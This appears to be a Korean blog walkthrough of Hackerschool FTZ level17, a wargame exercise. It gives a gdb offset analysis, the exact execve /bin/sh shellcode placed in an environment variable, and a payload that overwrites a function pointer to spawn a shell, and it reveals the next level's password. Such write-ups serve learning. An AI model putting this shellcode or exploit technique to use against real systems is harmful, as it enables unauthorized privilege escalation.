이번엔 level17이다.
로그인을 하고, 파일 목록을 확인하고, 힌트를 확인한다.
코드를 분석해보자.
level16 문제와 유사하지만 살짝 다르다.
이번엔 따로 쉘코드를 실행시키는 함수가 없기 때문에 환경변수를 이용해 쉘코드를 등록해보자.
그럼 해야 할 것은 ⓐbuf ~ *call 사이의 거리를 알아내고 ⓑ쉘코드를 환경변수에 등록해 그 주소를 알아낸 뒤 ⓒ*call 위치를 알아낸 쉘코드 주소로 덮어씌우면 될 것이다.
gdb를 이용해 분석해보자.
main+6 에서 *call ~ ret 사이의 거리를 알 수 있다.
=> 16 + 4 = 20
main+24에서 buf ~ ret 사이의 거리를 알 수 있다.
=> 56 + 4 = 60
buf ~ *call 사이의 거리 = 60 - 20 = 40
쉘코드를 환경변수에 넣어 주소를 알아내보자. 아래의 명령어들을 차례로 입력한다.
1. $export EGG=`python -c 'print"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
2. $echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
3. $gcc getenv.c -o getenv
4. $./getenv
알아 낸 주소는 0xbffffc8b 이다.
위의 내용들을 바탕으로 *call 위치에 0xbffffc8b 를 덮어씌우는 페이로드를 작성해보자.
(python -c 'print "\x90"*40+"\x8b\xfc\xff\xbf"'; cat) | ./attackme
이제 본 디렉토리에서 위의 페이로드를 실행하면?
짜잔
level18 암호 : why did you do it
'[Pwnable] 해커스쿨 FTZ' 카테고리의 다른 글
[해커스쿨 FTZ] level19 (0) | 2020.03.12 |
---|---|
[해커스쿨 FTZ] level18 (0) | 2020.03.12 |
[해커스쿨 FTZ] level16 (0) | 2020.03.12 |
[해커스쿨 FTZ] level15 (0) | 2020.03.12 |
[해커스쿨 FTZ] level14 (0) | 2020.03.12 |